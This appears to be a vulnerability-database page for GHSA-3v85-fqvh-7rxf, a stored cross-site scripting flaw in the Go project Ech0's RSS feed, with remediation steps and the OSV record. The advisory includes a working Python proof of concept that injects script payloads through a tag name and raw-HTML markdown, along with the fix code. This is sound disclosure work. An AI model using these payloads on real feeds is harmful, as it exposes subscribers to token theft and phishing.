GHSA-3v85-fqvh-7rxf: Github.com/lin snow/Ech0 Cross-Site Scripting Vulnerability
MODERATEGHSA-3v85-fqvh-7rxf is a MODERATE (CVSS 4.8) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Github.com/lin snow/Ech0 libraries in the Go ecosystem. The issue involves ech0's rss feed renders unescaped tag names and raw-html markdown, stored xss against subscribers. Remediation is available by upgrading affected packages to version 1.4.8-0.20260503035519-fd320fe3e902.
GHSA-3v85-fqvh-7rxf at a Glance
Security Impact
CVSS: 4.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).
How to Fix GHSA-3v85-fqvh-7rxf
To remediate this vulnerability, upgrade all affected Github.com/lin snow/Ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503035519-fd320fe3e902
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lin-snow/Ech0
How to Check if You Are Affected
To determine whether your application is affected by GHSA-3v85-fqvh-7rxf, inspect your project dependencies for Github.com/lin snow/Ech0:
inspect dependencies for github.com/lin-snow/Ech0
Analyze the terminal output to locate any version of Github.com/lin snow/Ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260503035519-fd320fe3e902), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Github.com/lin snow/Ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-3v85-fqvh-7rxf Affected Github.com/lin snow/Ech0 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lin-snow/Ech0
|
Go |
< 1.4.8-0.20260503035519-fd320fe3e902
|
1.4.8-0.20260503035519-fd320fe3e902
|
References
Frequently Asked Questions
What is GHSA-3v85-fqvh-7rxf?
Which Github.com/lin snow/Ech0 versions are affected?
What version fixes GHSA-3v85-fqvh-7rxf?
Is github.com/lin-snow/Ech0 affected?
What is the CVSS score of GHSA-3v85-fqvh-7rxf?
What CWE is associated with GHSA-3v85-fqvh-7rxf?
How can I check Go dependencies for GHSA-3v85-fqvh-7rxf?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3v85-fqvh-7rxf",
"modified" : "2026-05-07T21:18:27Z",
"published" : "2026-05-07T21:18:27Z",
"aliases" : [ ],
"summary" : "Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers",
"details" : "## Summary\n\nThe public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, \"<br /><span class=\\\"tag\\\">#%s</span>\", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `<summary type=\"html\">` is valid XML but contains executable `<script>` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin.\n\n## Details\n\nTag sink at `internal/service/common/common.go:120`:\n\n```go\nif len(msg.Tags) > 0 {\n for _, tag := range msg.Tags {\n renderedContent = fmt.Appendf(renderedContent,\n \"<br /><span class=\\\"tag\\\">#%s</span>\", tag.Name)\n }\n}\n```\n\n`fmt.Appendf` with `%s` does not HTML-escape. Tag names come from user-supplied `EchoUpsertDto.Tags` and are persisted after `strings.TrimSpace(strings.TrimPrefix(tag.Name, \"#\"))` at `internal/service/echo/echo.go:326`, which strips a leading `#` and trims whitespace but does nothing about HTML metacharacters. A tag name of `</span><script>document.title='RSS-XSS-HIT'</script><span>x` breaks out of the surrounding `<span>` element and injects executable JavaScript into the RSS `summary` field.\n\nMarkdown sink at `internal/util/md/md.go`:\n\n```go\nhtmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |\n html.NoopenerLinks | html.NoreferrerLinks\n// html.SkipHTML is NOT set\n```\n\nThe `gomarkdown` library passes raw HTML through when `SkipHTML` is not set. `MdToHTML([]byte(msg.Content))` at `internal/service/common/common.go:102` produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS `summary` field.\n\nThe RSS feed declares `<summary type=\"html\">`, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.\n\nEcho creation requires admin role (`internal/service/echo/echo.go:54-56` checks `user.IsAdmin`). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.\n\nPrior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same \"admin creates content\" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.\n\n## Proof of Concept\n\nDefault install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches `/rss` and the decoded summary contains executable `<script>`:\n\n```python\nimport requests, xml.etree.ElementTree as ET, html\nTARGET = \"http://localhost:8300\"\n\n# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.\nowner = requests.post(f\"{TARGET}/api/login\",\n json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n ).json()[\"data\"][\"access_token\"]\n\ntag_payload = \"</span><script>document.title='RSS-XSS-HIT'</script><span>x\"\nmd_payload = \"<script>document.title='MD-XSS-HIT'</script>normal text\"\n\nrequests.post(f\"{TARGET}/api/echos\",\n headers={\"Authorization\": f\"Bearer {owner}\",\n \"content-type\": \"application/json\"},\n json={\"content\": \"echo with malicious tag\",\n \"tags\": [tag_payload]})\n\nrequests.post(f\"{TARGET}/api/echos\",\n headers={\"Authorization\": f\"Bearer {owner}\",\n \"content-type\": \"application/json\"},\n json={\"content\": md_payload})\n\n# Anyone fetches /rss anonymously.\nfeed = requests.get(f\"{TARGET}/rss\").text\nroot = ET.fromstring(feed)\nns = {\"atom\": \"http://www.w3.org/2005/Atom\"}\nfor entry in root.findall(\"atom:entry\", ns):\n summary = entry.find(\"atom:summary\", ns)\n decoded = html.unescape(summary.text or \"\")\n if \"<script>\" in decoded.lower():\n print(f\" *** EXECUTABLE <script> in decoded summary ***\")\n print(f\" raw: {(summary.text or '')[:200]!r}\")\n print(f\" decoded: {decoded[:200]!r}\")\n```\n\nObserved on v4.5.6:\n\n```\n*** EXECUTABLE <script> in decoded summary ***\n raw: \"<p><script>document.title=‘MD-XSS-HIT’</script>normal text</p>\\n\"\n decoded: \"<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\\n\"\n*** EXECUTABLE <script> in decoded summary ***\n raw: '<p>echo with malicious tag</p>\\n<br /><span class=\"tag\">#</span><script>document.title=\\'RSS-XSS-HIT\\'</script><span>x</span>'\n decoded: '<p>echo with malicious tag</p>\\n<br /><span class=\"tag\">#</span><script>document.title=\\'RSS-XSS-HIT\\'</script><span>x</span>'\n```\n\nTwo separate `<script>` tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes `type=\"html\"` content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script.\n\n## Impact\n\nA non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches:\n\n- **Anonymous subscribers** who follow the blog's RSS URL in their reader.\n- **Registered non-admin users** who may subscribe to the feed.\n- **Other admins** on the same instance.\n\nEach subscriber whose reader renders `type=\"html\"` content runs the attacker's script in the reader's origin. Depending on the reader, the payload:\n\n- Reads the reader's own UI tokens and exfiltrates them.\n- Makes authenticated requests to other feeds the reader polls (cross-feed data theft).\n- Plants phishing content that looks like a legitimate feed entry.\n\nThe class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches.\n\n## Recommended Fix\n\nTwo independent fixes, both needed.\n\nTag names: HTML-escape before interpolation.\n\n```go\nfor _, tag := range msg.Tags {\n renderedContent = fmt.Appendf(renderedContent,\n \"<br /><span class=\\\"tag\\\">#%s</span>\", html.EscapeString(tag.Name))\n}\n```\n\nMarkdown: add `html.SkipHTML` to the renderer flags so raw HTML in echo markdown is stripped.\n\n```go\nhtmlFlags := html.CommonFlags |\n html.Safelink |\n html.HrefTargetBlank |\n html.NoopenerLinks |\n html.NoreferrerLinks |\n html.SkipHTML\n```\n\nValidate tag names at creation time too. A central validator in `EchoService.Create` that rejects tags containing `<`, `>`, or `\"` removes the attacker payload before it reaches the DB:\n\n```go\nfor _, name := range newEcho.Tags {\n if strings.ContainsAny(name, \"<>\\\"'&\") {\n return errors.New(commonModel.INVALID_TAG_NAME)\n }\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lin-snow/Ech0"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.4.8-0.20260503035519-fd320fe3e902"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-3v85-fqvh-7rxf"
}, {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/commit/fd320fe3e9021c8d8d284fb274775c018690520e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lin-snow/Ech0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-116", "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T21:18:27Z",
"nvd_published_at" : null
}
}